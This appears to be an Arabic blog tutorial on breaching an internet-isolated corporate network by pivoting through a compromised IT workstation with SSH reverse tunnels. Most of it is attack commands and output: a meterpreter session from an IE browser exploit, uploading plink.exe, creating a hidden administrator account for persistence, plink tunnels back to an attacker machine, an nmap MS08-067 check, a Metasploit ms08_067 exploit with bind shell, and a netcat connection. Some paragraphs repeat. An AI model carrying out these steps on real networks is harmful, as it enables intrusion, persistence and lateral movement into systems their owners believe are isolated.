كثيرا ما نتحدث عن الحماية مع أشخاص تقنيين ولا يشترط كل إنسان تقني أن يكون مهتم بالحماية حتى و إن كان مهندس أنظمة أو مهندس شبكات أو كلاهما.
فعندما نبدأ الحديث عن حماية الـ Enterprise خاصة نجد الجميع يٌطَمئن نفسه بأن شبكته معزولة عن الإنترنت و أن فريق العمل محمي خلف NAT و Firewall ويظن بهذا أنه يستطيع أن يستريح من عناء إنشاء تلك الشبكة الرائعة و الأمنة (في نظره). موضوعنا اليوم هو إثبات خطأ هؤلاء و خطورة هذا التفكير على الشركات و خاصة المتوسطة و الكبيرة الحجم.
مقدمة
كما ذكرنا أنفا أن عزل الشبكات عن الإنترنت لا يعني أنها آمنة و أنه لن يستطيع أن يصل إليها أحد عبر الإنترنت.
سيكون بطل المهمة هو استعمال تقنية النفق عن طريق الـ SSH أو SSH Tunnels . سنرى في هذا التكنيك كم هو رائع و خطير عند استخدامه لأغراض أخرى.
أعتقد وضع هذه الشبكة موجود أو حتى ما يشاببه أو قريب منه جدا و بكثرة ,,
الشبكة 10.0.0.0/8: سنفترض أنها الإنترنت أو الشبكة الخرجية, و هي مكان الخطر المعروف
الشبكة 192.168.28.0/24: هي شبكة الموظفين في الشركة وهم قسم الـ IT و يستطيعون الوصول للإنترنت, لكنهم خلف Firewall/NAT
صورة من أحد السيرفرات: له كرت شبكة واحد متصل بالشبكة المعزولة عن الإنترنت
بداية المهمة ! , التسلل إلى الداخل
و بطريقة أو أخرى استطعنا أن نخترق جهاز أحد موظفين الـ IT (هنا تكمن قوة جمع المعلومات و الاستفادة منها و التلاعب بالهندسة الاجتماعية العكسية)
سنفترض أننا اخترقنا جهازه -والذي له اتصال بالانترنت- بأي نوع من أنواع الاختراق و لنفترض أنه Client Side Attack عن طريقة ثغرة متصفح الـ IE و هي aurora و كان الـ payload هو meterpreter و استخدمنا منه الاتصال العكسي reverse_tcp.
ملاحظة: يفضل أن تقوم بنقل الـpayload إلى أي خدمة/عملية مضمونة لأن الضحية قد يغلق المتصفح و نخسر الاتصال به.
meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System x86 0 NT AUTHORITY\SYSTEM 684 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 792 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe 816 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe 868 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe 880 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe 1040 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe 1112 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe 1404 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 1524 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe 1684 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe 1832 explorer.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\Explorer.EXE 200 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe 440 VMwareTray.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareTray.exe 448 VMwareUser.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareUser.exe 492 afsloader.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsloader.exe 532 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe 596 snmp.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\snmp.exe 676 VMwareService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMwareService.exe 756 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe 1380 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe 1912 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe 3228 wscntfy.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\wscntfy.exe 1252 rundll32.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\rundll32.exe
meterpreter > migrate 1832 [*] Migrating to 1832... [*] Migration completed successfully.
رائع,,
تأمين الطريق و مد الأنفاق!!
سنقوم الأن برفع ملف plink.exe إلى جهاز الضحية حيث Plink هو البرنامج الذي سنستخدمه لإنشاء النفق بيننا وبين جهاز الـ IT
meterpreter > upload /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\\windows\ [*] uploading : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\ [*] uploaded : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\\plink.exe
ثم نقوم بالحصول على على shell / سطر الأوامر على جهاز الضحية
ملاحظة: أعتدت أن أنشئ مستخدم بصلاحيات المدير على أي جهاز أقوم باختراقه و هذه طريقة من عدة طرق أتبعها لضمان العودة بطريقة أو بأخرى.
ملاحظة: أعتدت أن أنشئ مستخدم بصلاحيات المدير على أي جهاز أقوم باختراقه و هذه طريقة من عدة طرق أتبعها لضمان العودة بطريقة أو بأخرى.
C:\Documents and Settings\vm-user>net user KING sec4ar /add net user KING sec4ar /add The command completed successfully. C:\Documents and Settings\vm-user>net localgroup administrators KING /add net localgroup administrators KING /add The command completed successfully. C:\Documents and Settings\vm-user>
التعامل مع الأنفاق
حتى الأن لم أدخل في موضوعي!! ,,
إذن لنبدأ ..
إذن لنبدأ ..
قاعدة هامة: كل منفذ تريد أن تتصل به على جهاز الضحية يجب أن تنشئ له نفق خاص و يكون موجه لذلك المنفذ
أولا أريد أن أحصل (مثلا) على Remote Desktop على جهاز الضحية عن طريقة إنشاء نفق لكي أستطيع تجاوز الـFirewall/NAT الذي بيني و بينه والذي يمنعني من عمل اتصال مباشر من جهازي إلى جهازه.. لا تنسى أن اتصالنا السابق كان اتصال عكسي.
الأن جاء دور البرنامج الذي رفعناه على جهاز الصحية “Plink” , سأكتب الأمر ثم أشرحه
plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100
القاعدة من الأمر السابق هي:
plink -l LUSER -pw PASSWORD -C -R LPORT:127.0.0.1:RPORT Attacking-Machine's_IP
حيث
plink: البرنامج الذي سيقوم بإنشاء النفق
-l : سندخل إسم المستخدم لجهازنا و في مثالنا كان الـ root
-pw: كلمة مرور المستخدم و في مثالنا 123123
-R: تعني Remote Tunnel
plink: البرنامج الذي سيقوم بإنشاء النفق
-l : سندخل إسم المستخدم لجهازنا و في مثالنا كان الـ root
-pw: كلمة مرور المستخدم و في مثالنا 123123
-R: تعني Remote Tunnel
لنشرح تفاصيل الأمر من الرسمة التالية
1: هو العنوان الداخلي لجهاز الضحية, أي الـ Loopback
2: هو المنفذ الخاص بجهاز الضحية و الذي سنتصل به, و هنا نريد أن نتصل RDC إذن نستخدم البورت 3389.
3: هو المنفذ الخاص بجهازنا و أنا اخترت أن يكون 3389 و بالطبع تستطيع تغييره
4: هو عنوان جهازنا الخارجي الخارجي الـ public و بالطبع تعرفون كيف تعملون عملية الـ Port redirection من أجهزة الـ modem خاصتكم.
2: هو المنفذ الخاص بجهاز الضحية و الذي سنتصل به, و هنا نريد أن نتصل RDC إذن نستخدم البورت 3389.
3: هو المنفذ الخاص بجهازنا و أنا اخترت أن يكون 3389 و بالطبع تستطيع تغييره
4: هو عنوان جهازنا الخارجي الخارجي الـ public و بالطبع تعرفون كيف تعملون عملية الـ Port redirection من أجهزة الـ modem خاصتكم.
الناتج
C:\Documents and Settings\vm-user>plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100 plink -l root -pw 2122252 -C -R 3389:127.0.0.1:3389 10.0.0.100 The server's host key is not cached in the registry. You have no guarantee that the server is the computer you think it is. The server's rsa2 key fingerprint is: ssh-rsa 2048 09:38:a7:fc:d8:52:3b:c0:1c:11:df:1e:83:98:b1:db If you trust this host, enter "y" to add the key to PuTTY's cache and carry on connecting. If you want to carry on connecting just once, without adding the key to the cache, enter "n". If you do not trust this host, press Return to abandon the connection. Store key in cache? (y/n) y
- للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا
netnetstat -nlpt
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1051/rpcbind
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1339/sshd
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 1151/cupsd
tcp 0 0 127.0.0.1:3389 0.0.0.0:* LISTEN 30480/7
tcp 0 0 0.0.0.0:37325 0.0.0.0:* LISTEN 1104/rpc.statd
لاحظ الاتصال المنصت
tcp 0 0 127.0.0.1:3389 0.0.0.0:* LISTEN 30480/7
رائع , تم إنشاء النفق بشكل صحيح ,,
- الأن سنجرب الاتصال بجهاز الضحية عن طريق الـ Remote Desktop, على عنواننا الداخلي 172.0.0.1
تستطيع أن تستخدم أي برنامج (rdesktop , KRDC4), الأمر يعود إليك.
- الأن سنجرب الاتصال بجهاز الضحية عن طريق الـ Remote Desktop, على عنواننا الداخلي 172.0.0.1
تستطيع أن تستخدم أي برنامج (rdesktop , KRDC4), الأمر يعود إليك.
rdesktop 127.0.0.1 -g 800×600
الشكل الخارجي لما عملناه هو
تذكير: الخطوة السابق (الاتصال Remote Desktop): ليس شرطا فقد كانت لاختبار فعالية النفق. لكن الشرط هو إنشاء النفق نفسه لكي ننفذ بقية مهمتنا.
الزحف إلى العمق
الأن لنتعمق أكثر و هو محور موضعنا ,,
نريد أن نخترق جهاز في الشبكة التي لا تصل إلى الإنترنت أصلا(172.16.0.0/16), و التي يستطيع أن يصل إليها جهاز الضحية(192.168.28.128).
أي أننا سنحول كل البيانات المتجهة إلى الشبكة الداخلية الغير متصلة بالإنترنت عبر جهاز ضحيتنا
أي أننا سنحول كل البيانات المتجهة إلى الشبكة الداخلية الغير متصلة بالإنترنت عبر جهاز ضحيتنا
- الأن نغلق الـremote Desktop
- و نخرج من الـنفق
- و نخرج من الـنفق
exit
- ثم نخرج من سطر أوامر الضحية أي نخرج من الشيل
exit
سنعود الأن إلى سطرا أوامر الـ Meterpreter
الأن سننفذ الأمر الذي سيحول كل البيانات الصادرة من جهازنا إلى الجهاز الغير متصل بالأنترنت عبر جهاز ضحيتنا الأولى
الأن سننفذ الأمر الذي سيحول كل البيانات الصادرة من جهازنا إلى الجهاز الغير متصل بالأنترنت عبر جهاز ضحيتنا الأولى
meterpreter> execute -f "plink -l root -pw 123123 -R 445:172.16.0.7:445 10.0.0.100" Process 3520 created.
الأمر هنا هو نفس فكرة الأمر السابق إلا أننا استبدلنا الـ localhost أو الـ 127.0.0.1 بـ عنوان الجهاز الأخر (172.16.0.7) و الذي لا يصل إلى الإنترنت
ملاحظة: إذا تبادر إلى ذهنك كيف عرفنا عنوان الجهاز الأخر , فأجيب و أقول تستطيع استبدال اتصالك بالـ Remote Desktop بـأن تقوم بعملية scan و هذا استغلال أخر لوجود النفق
للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1051/rpcbind
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1339/sshd
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN 1151/5
tcp 0 0 0.0.0.0:37325 0.0.0.0:* LISTEN 1104/rpc.statd
الأن سنقوم بعملية مسح على منافذ الجهاز 172.16.0.7 و التي تمر كل بيناتا إليه عن طريق الضحية الأولى”192.168.28.128″ فيها بسبب النفق الجديد و أصبح هو الـ loopback لجهازنا , سأبدأ بفحص خدمة الـ smb عليه.
nmap --script smb-check-vulns.nse 127.0.0.1 -p 445 Starting Nmap 5.21 ( http://nmap.org ) at 2010-08-10 22:26 AST Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE: Active NSE Script Threads: 1 (1 waiting) NSE Timing: About 0.00% done NSE: Script Scanning completed. Nmap scan report for localhost (127.0.0.1) Host is up (0.000088s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-check-vulns: | MS08-067: LIKELY VULNERABLE (host stopped responding) | Conficker: Likely CLEAN | regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run) |_ SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run) Nmap done: 1 IP address (1 host up) scanned in 50.71 seconds
رائع ,, الخدمة تعمل عليه و المنفذ مفتوح و كما رأينا من عملية المسح أنه مصاب بالثغرة “MS08-067”
هيا لنطبق عليه هذه الثغرة, أيضا سنستخدم الـ Payload نوعه bind_tcp و سنجعل الـ RHOST هو الـ loopbak خاصتنا أي 127.0.0.1
لنرى هل سينجح في التطبيق أم لا,,
./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/bind_tcp LPORT=7777 RHOST=127.0.0.1 TARGET=3 E [*] Please wait while we load the module tree... [*] Started bind handler [*] Attempting to trigger the vulnerability...
رأينا أنه تم تنفيذ العملية بنجاح لكن ,, أين الـ shell الذي يطمح إليه أي مخترق ؟!؟
سنرى الأن ,,
لقد قمنا فعلا بالوصول و يفترض أن جهاز الضحية ينصت الأن إلى المنفذ 7777 . ما يجب عمله الأن هو إنشاء نفق جديد إلى جهاز الضحية الجديدة عبر الضحية الأولى ولكن المنفذ سيتغير من 445 إلى 7777 .
هيا بسرعة ,,
نذهب إلى الـ meterpreter المتصل بجهاز الضحية الأولى(192.168.28.128) و ننفذ التالي
execute -f "plink -l root -pw 123123 -R 7777:172.16.0.7:7777 10.0.0.100"
و كعادتنا سنتأكد من إنشاء النفق بشكل صحيح
netstat -nlpt Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1051/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1339/sshd tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN 1151/5 tcp 0 0 127.0.0.1:7777 0.0.0.0:* LISTEN 2009/11 tcp 0 0 0.0.0.0:37325 0.0.0.0:* LISTEN 1104/rpc.statd tcp 0 0 :::111 :::* LISTEN 1051/rpcbind tcp 0 0 :::22 :::* LISTEN 1339/sshd tcp 0 0 ::1:445 :::* LISTEN 1151/5 tcp 0 0 ::1:7777 :::* LISTEN 2009/11
كما ذكرنا أن الضحية الجديدة الأن تنصت على المنفذ 7777 على أحر من الجمر
- لنتصل بها الأن عن طريق الـ Netcat , طبعا الاتصال سيكون على 127.0.0.1 عبر النفق
nc -v 127.0.0.1 7777 Connection to 127.0.0.1 7777 port [tcp/cbt] succeeded!
و الشكل الخارجي لما عملناه سابقا لنصل إلى الشبكة الثانية
حتى هنا ,, أكون قد أنهيت شرحي و رمضان كريم و نتمنى لكم اختراقا شهيا
ضع تعليقك
0 commentaires:
إرسال تعليق